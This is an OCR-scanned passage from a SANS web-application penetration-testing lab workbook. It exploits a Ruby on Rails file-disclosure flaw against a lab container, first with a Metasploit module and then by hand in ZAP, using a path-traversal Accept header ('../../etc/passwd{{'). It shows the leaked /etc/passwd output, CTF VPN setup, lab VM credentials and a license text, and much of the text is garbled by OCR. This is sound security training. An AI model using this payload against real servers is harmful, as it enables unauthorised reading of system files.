root:x:0:0:root:/root:/bin/bash

daemon:x:1:1:daemon:/usr/sbin:/usr/sbhbin/nologin

bin:x:2:2:bin:/bin:/usr/sbin/nologin

sys:x:3:3:sys:/dev:/usr/shin/nologin

sync:x:4:65534:sync:/bin:/bin/sync

games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/shin/nolegin
lp:x:7:7:1p:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/shin/nologin

www-data:x:33:33 :www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin

list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbhin/nologin

gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin o
_apt:i:190:65534::fnonexistent:/bin/false H
[~1% 3

3 Leave the terminal running msfconsole open, we will use it in the next section.

+ Use what you have learned to manually exploit the flaw using ZAP
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Solution

1. Now that we've used Metasploit to exploit this vulnerability, let's try the same thing manually, using ZAP.
Launch ZAP

1. Launch ZAP by clicking the ZAP icon in the upper panel at the top of the screen.

Note

ZAP takes a while to launch, roughly 10 seconds or so. Many students end up accidentally launching ZAP two or three times
during the delay. Run one instance of ZAP only.

Multiple instances of ZAP are running if you see this warning:

- =
Q Proxy port 8081 was in use. Try: 8082 ¢

Yes No

In this case, close the additional ZAP instances, leaving the original. When in doubt, close all ZAP instances and start over.

Warning

ZAP must be listening on port 8081 for this lab to work.

2. After ZAP starts, launch Firefox by clicking the Firefox icon in the upper panel.
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3. Configure Firefox to use the running proxy.

4. In Firefox, select ZAP from the proxy selector drop-down:

n o e

«" [Direct]

@ [System Proxy]

@ Burp Community
Burp Pro

[ zap

Y localhost ~

/& Options

Note

Always use the proxy selector to manage Firefox's proxy settings. Do not use other methods.

Back to Metasploit

1. Let's get a better understanding of what Metasploit is doing. We will configure Metasploit to use ZAP as a proxy, and re-run the module, and then view the attack in ZAP.

2. Return to the terminal running Metasploit's msfconsole, and type the following:

set PROXIES HTTP:127.0.0.1:8081
run
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A . _ Terminal - student@Security542: ~ = o
File Edit View Temfnal Tabs -Help."

msf6 auxﬂlary{-\..::i--;-t-r rails_doubletap_fTile_read) > set PROXIES HTTP:127.0.0.1:8081
PROXIES => HTTP: 127 0.0.1:8081

msf6 auxiliary(gather/rails doubletap file read) > run

[*] Running module agalnst 172.22.0.2

[*] Requesting Tile /etc/passwd
[*] Results stored as loot. A
[*] Auxiliary module executlon completed l

rails puble

msf6 auxiliary(o: file_read) > ||

3- Then switch to ZAP and view the request. Go to ZAP's History tab and scroll to the bottom. Click on the final requestto https//172.22.0.2:3000/robots and

click the Request tab.

i OWASP ZAP - OWASP ZAP 2.10.0 TRl
File Edit Wiew Analyse Report Tools Import  Online Help
: 2= 5L

St'and'ard Mode

@ sSites o ; 4 Quick Start  =» Request ==

® 5B 3 Header: Text v || Body: Text s | | il S

- 59 Contexts GET hitp://172.22.0,2; 3000/robots HITP/L1
= 4 3 : Lodaws WT 5.1)
VS Dalgnl Conte Y Y B T Y B B Y L T

~ @ Sites

ustl L7222, U L7 U
] http:172.22.0.2:

2 History arch  [Walerts || Output ==

@ @ ' Fiter: OFF § Export

ld  So.. Req.Timesta.. Met.. URL C... Reason ... SizeBa ghest... M. Tags (e

1 &=, 4/21/21, 3:4.., GET  http:/f172.22,0.2:3000/robots g w919 bytes
4121421, 3:4... GET http/f172.22.0.2:3000/robots w918 bytes

Alerts W0 [0 40 PO Primary Proxy: localhost:8081 Current Scans 44 0 &3-0 @0 ) U_@_a:%i,ﬁjo__ﬂl

4 Notice the Accept: header (shown in the red rectangle in the screenshot above):

Accept: co/ee/eefeefoofeeles]ee/eo]so/etc/passwd{{
5. Performing the same action in ZAP is very simple, so let's do it.

6. Click the green break button in ZAP (this provides the same functionality as Burp's Intercept). The button will turn red, indicating that break is set.

File Edit \View Analyse Report Tools Import online Help
Standard Mode | | Q [ I 7] = ‘531’

& sites = § 4" Quick Start =+ Request 4= Response +
@ @ a3 Header: Text || Body: Text v | | (=] =
. 5 Contexts GET http://172.22.0.2:3000/robots HTTP/1.1

= User-Agent: Mozilla/4.0 (compatible; MSIE 6.0: Windows NT 5.1)
V8l DsTruit Cories Accept: el cid oo oo S fetefpasswd{{
Q Sites : Host: 172.22.0.2:3000

> [ httpi172,22.0.2;

7. Go back to Firefox and open: http://172.22.0.2:3000/robots.
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8 ZAP should immediately pop up and show the request. If it does not: ensure Firefox is set to proxy via ZAP (see the previous section), and also ensure that the break button is red.

; 47 Quick Start  =» Request  ¢= Response ¢ Break =

Method v  Header: Text v | Body: Text v E (3@ &

GET http://172.22.0.2:3000/robots HTTP/1.1

Host: 172.22.0.2:3000

User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:86.0) Gecko/20100101 Firefox/86.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,1image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5

Referer: http://localhost:8000/Labs/542 5/bonus2/sec542.5.bonus2/

Connection: keep-alive

Cookie: _blog_session=

Bz94DpRpPpdr3n10Gx rFdSgCjdoQBNkgUXI AgbRpVXYOmU1SsGT rH41PIclYwUnzmac4Kb jTc%2B3y CB%
2FJNE1S174xyPRQsUSHMuphErarsI6QSB9%28NQb0wZd IkNNUEYy dh3eXDc6qCUKL fx%2Bri20%3D- -
bTmc34LxyLNjMiHN- - 91NIHKMQZI XKEYohRVCo%2Fg%30%3D

9- Change the Accept: header to this:

Accept: cof/eefeofeefoofeeles]ee)/eo]eo/etc/passwd{{

10. The new header is highlighted in the screenshot below.

GET http://172.22.0.2:3000/robots HTTP/1.1

Host: 172.22.0.2:3000

User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:86.0) Gecko/20100101 Firefox/86.0
Accept: ../../../0../../.. /.. /.. /.. /.. /etc/passwd{{

Accept-Language: en-US,en;q=0.5

Referer: http://localhost:8000/Labs/542_5/bonus2/sec542.5.bonus2/

Connection: keep-alive

Cookie: _blog_session=

Bz94DpRpPpdr3n10Gx rFdSgCjdoQBNkgUXIAgbRpVXYOmULSsGT rH41PIclYwUnzmac4Kb jTc%2B3yCB%
2FJNE1S174xyPRQsUSHMuphErarsI6QSB9%2BNQbOwZd Ik NNUEyYydh3eXDc6qCUKLfx%2Bri20%3D- -
bTmc34LxyLNjMiHN- - 91NIHKMQZIXKEYohRVCo%2Fg%3D%3D

1

-

. Then click the Play button, which will submit the request and also disable break (turning the break button back to green).

File Edit “iew Analyse Report Tools Import Online Help

StandardMode v ||] B & B |5 & G 4 2 AEEDEEEmDE & J _'u' @ l;@ %@

@ sites = : " Quick Start = Request 4= Response  #{ Break =
@ 3 = Method | Header: Text ~ || Body: Text il EINETR =
v (5 Contexts [ GET http://172.22.0.2:3000/robots HTTP/1.1

= Host: 172.22.0,2:3000
(%] Defautt Context | User-Agent: Mozilla/S.0 (X11; Ubuntu; Linux x86 64; rv:86.0) Gecko/26100101 Firef

~ @ Sites | Woeepts il okl et tetclpasswali
> gl https:/fimg-getpo ;i Accept-Language: en-US,en;g=0.5
: & | Referer: http://localhost:8000/Labs/542 5/bonus2/sec542.5.bonus2/
* BP0 https://spocs.g | connection: keep-alive
» g/ https:/igetpock | Cookie: _blog_session=
Bz24DpRpPpdran10Gx rFdSqCjdoQBNk gUXT AgbRp VXY OMULSSGT rH41PIclYwlnzmac 4kb jTc%2B3y CB%
| 2FIWELS174xyPRQsUSHMUpPhEr9rsI 605SBS%2BW0b OwZd Tk NNUEY y dh3e XD Big CUKL T x%2Br120%30- -
> LIF httpf172.22.0 | bTme34LxyLNjMIHN- - 91 NTHKMQZI XKEY chRVCo%2Fg%30%30

> gt https:ffirefox.s |

12. Then switch back to Firefox.
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v Mozilla Firefox - + X

10.42.42.42:3000/robots X | +

{:(_—i:] - C [@ 10.42.42.42:3000/robots v @ W m oo & =

£} Most Visited

root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:
/bin/sync games:x:5:60:games:/usr/games:/usr/shin/nologin man:x:6:12:man:/var/cache
/man:/usr/shin/nologin Ip:x:7:7:1p:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:
/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbhin/nologin uucp:x:10:10:uucp:/var
/spool/uucp:/usr/sbhin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-
data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:
/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System
(admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbhin
/nologin _apt:x:100:65534::/nonexistent:/bin/false

13. Boom!

1. Stop the Ruby on Rails container by switching to the terminal where it is running and pressing Ctr1-C.
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Capture the Flag

This lab uses the "SEC542-H01" range environment. Please ensure you have the latest OpenVPN configuration file from the MyLabs

section of your SANS account.

CTF VPN Connection

1. To connect to the CTF range whenever the CTF is open, you will need to download your OpenVPN configuration file from MyLabs in
the SANS portal.

2. You will find instructions to connect to the scoring server as well as the ability to download your OpenVPN configuration file.

3. Download the file and move this file to your virtual machine by dragging and dropping the file from your local system to the Desktop
of the SEC542 VM.

4. Open a new terminal session and run the following command to connect to the CTF range:
sudo openvpn --config /home/student/Desktop/*.ovpn

5. Leave this terminal open for the remainder of the CTF.
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Virtual Machine Credentials

The login credentials for the virtual machine used in this class are listed below for quick reference.

Login credentials are also displayed in the respective virtual machine's information panel. Below are screenshots showing the login
credentials under VMware Workstation and VMware Fusion, respectively.

= VIRTUAL MACHINES

<lin|j= e
FORS72 SOF EIK

[T] Fors72 sor-ELk

1. SEC542 Linux VM

* Username: student
+ Password: Security542
These credentials are for the system account used via the graphical login.

This user has sudo access for all commands on the virtual machine.
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SANS Courseware License Agreement

Copyright ©2022, Seth Misenar, Eric Conrad, Timothy McKenzie, and Bojan Zdrnja. All rights reserved to Seth Misenar, Eric Conrad,
Timothy McKenzie, Bojan Zdrnja, and/or SANS Institute.

PLEASE READ THE TERMS AND CONDITIONS OF THIS COURSEWARE LICENSE AGREEMENT ("CLA") CAREFULLY BEFORE USING ANY
OF THE COURSEWARE ASSOCIATED WITH THE SANS COURSE. THIS IS A LEGAL AND ENFORCEABLE CONTRACT BETWEEN YOU (THE
“USER”) AND SANS INSTITUTE FOR THE COURSEWARE. YOU AGREE THAT THIS AGREEMENT IS ENFORCEABLE LIKE ANY WRITTEN
NEGOTIATED AGREEMENT SIGNED BY YOU.

With this CLA, SANS Institute hereby grants User a personal, non-exclusive license to use the Courseware subject to the terms of this
agreement. Courseware includes all printed materials, including course books and lab workbooks, as well as any digital or other media,
virtual machines, and/or data sets distributed by SANS Institute to User for use in the SANS class associated with the Courseware.
User agrees that the CLA is the complete and exclusive statement of agreement between SANS Institute and you and that this CLA
supersedes any oral or written proposal, agreement or other communication relating to the subject matter of this CLA.

BY ACCEPTING THIS COURSEWARE, USER AGREES TO BE BOUND BY THE TERMS OF THIS CLA. BY ACCEPTING THIS SOFTWARE,
USER AGREES THAT ANY BREACH OF THE TERMS OF THIS CLA MAY CAUSE IRREPARABLE HARM AND SIGNIFICANT INJURY TO
SANS INSTITUTE, AND THAT SANS INSTITUTE MAY ENFORCE THESE PROVISIONS BY INJUNCTION (WITHOUT THE NECESSITY OF
POSTING BOND) SPECIFIC PERFORMANCE, OR OTHER EQUITABLE RELIEF.

If User does not agree, User may return the Courseware to SANS Institute for a full refund, if applicable.

User may not copy, reproduce, re-publish, distribute, display, modify or create derivative works based upon all or any portion of the
Courseware, in any medium whether printed, electronic or otherwise, for any purpose, without the express prior written consent of
SANS Institute. Additionally, User may not sell, rent, lease, trade, or otherwise transfer the Courseware in any way, shape, or form
without the express written consent of SANS Institute.

If any provision of this CLA is declared unenforceable in any jurisdiction, then such provision shall be deemed to be severable from this
CLA and shall not affect the remainder thereof. An amendment or addendum to this CLA may accompany this Courseware.

SANS acknowledges that any and all software and/or tools, graphics, images, tables, charts or graphs presented in this Courseware are
the sole property of their respective trademark/registered/copyright owners, including:

AirDrop, AirPort, AirPort Time Capsule, Apple, Apple Remote Desktop, Apple TV, App Nap, Back to My Mac, Boot Camp, Cocoa,
FaceTime, FileVault, Finder, FireWire, FireWire logo, iCal, iChat, iLife, iMac, iMessage, iPad, iPad Air, iPad Mini, iPhone, iPhoto, iPod, iPod
classic, iPod shuffle, iPod nano, iPod touch, iTunes, iTunes logo, iWork, Keychain, Keynote, Mac, Mac Logo, MacBook, MacBook Air,
MacBook Pro, Macintosh, Mac OS, Mac Pro, Numbers, OS X, Pages, Passbook, Retina, Safari, Siri, Spaces, Spotlight, There's an app for
that, Time Capsule, Time Machine, Touch ID, Xcode, Xserve, App Store, and iCloud are registered trademarks of Apple Inc.

PMP® and PMBOK® are registered trademarks of PMI.
SOF-ELK® is a registered trademark of Lewes Technology Consulting, LLC. Used with permission.

SIFT® is a registered trademark of Harbingers, LLC. Used with permission.
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Governing Law: This Agreement shall be governed by the laws of the State of Maryland, USA.

All reference links are operational in the browser-based delivery of the electronic workbook.
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